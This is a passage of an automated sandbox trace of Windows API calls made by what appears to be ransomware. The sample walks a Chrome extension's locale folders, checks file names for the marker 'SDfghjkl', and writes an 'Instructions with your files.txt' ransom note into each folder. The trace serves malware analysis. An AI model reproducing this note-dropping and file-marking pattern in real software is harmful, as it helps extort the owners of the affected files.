[0129.571] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.571] CloseHandle (hObject=0x134) returned 1
[0129.571] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.571] GetProcessHeap () returned 0x810000
[0129.571] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.571] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84203c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84206320, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84206320, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1
[0129.571] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv") returned 141
[0129.571] GetProcessHeap () returned 0x810000
[0129.571] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.571] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\*") returned 143
[0129.572] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84203c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84206320, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84206320, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.572] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\.") returned 143
[0129.572] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84203c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84206320, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84206320, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.573] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\..") returned 144
[0129.573] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84206320, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84206320, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.573] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json") returned 155
[0129.573] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.573] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84206320, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84206320, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.573] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\Instructions with your files.txt") returned 174
[0129.573] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.573] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.574] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.574] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.574] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.574] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.574] CloseHandle (hObject=0x134) returned 1
[0129.574] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.574] GetProcessHeap () returned 0x810000
[0129.574] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.575] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8420b140, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8420d850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8420d850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1
[0129.575] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th") returned 141
[0129.575] GetProcessHeap () returned 0x810000
[0129.575] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.575] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\*") returned 143
[0129.575] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8420b140, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8420d850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8420d850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.575] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\.") returned 143
[0129.575] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8420b140, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8420d850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8420d850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.575] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\..") returned 144
[0129.575] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8420d850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8420d850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.575] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json") returned 155
[0129.575] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.575] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8420d850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8420d850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.575] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\Instructions with your files.txt") returned 174
[0129.575] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.576] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.576] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.577] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.577] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.577] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.577] CloseHandle (hObject=0x134) returned 1
[0129.577] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.577] GetProcessHeap () returned 0x810000
[0129.577] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.577] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84212670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84212670, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84212670, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1
[0129.577] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr") returned 141
[0129.577] GetProcessHeap () returned 0x810000
[0129.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.577] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\*") returned 143
[0129.577] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84212670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84212670, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84212670, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.578] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\.") returned 143
[0129.578] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84212670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84212670, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84212670, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.578] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\..") returned 144
[0129.578] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84212670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84214d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.578] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json") returned 155
[0129.578] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.578] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84212670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84214d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.578] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\Instructions with your files.txt") returned 174
[0129.578] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.579] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.580] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.580] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.580] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.580] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.580] CloseHandle (hObject=0x134) returned 1
[0129.580] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.580] GetProcessHeap () returned 0x810000
[0129.580] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.580] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84219ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8421c2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8421c2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1
[0129.580] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk") returned 141
[0129.580] GetProcessHeap () returned 0x810000
[0129.580] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.580] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\*") returned 143
[0129.580] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84219ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8421c2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8421c2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.581] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\.") returned 143
[0129.581] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84219ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8421c2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8421c2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.581] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\..") returned 144
[0129.581] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8421c2b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8421c2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
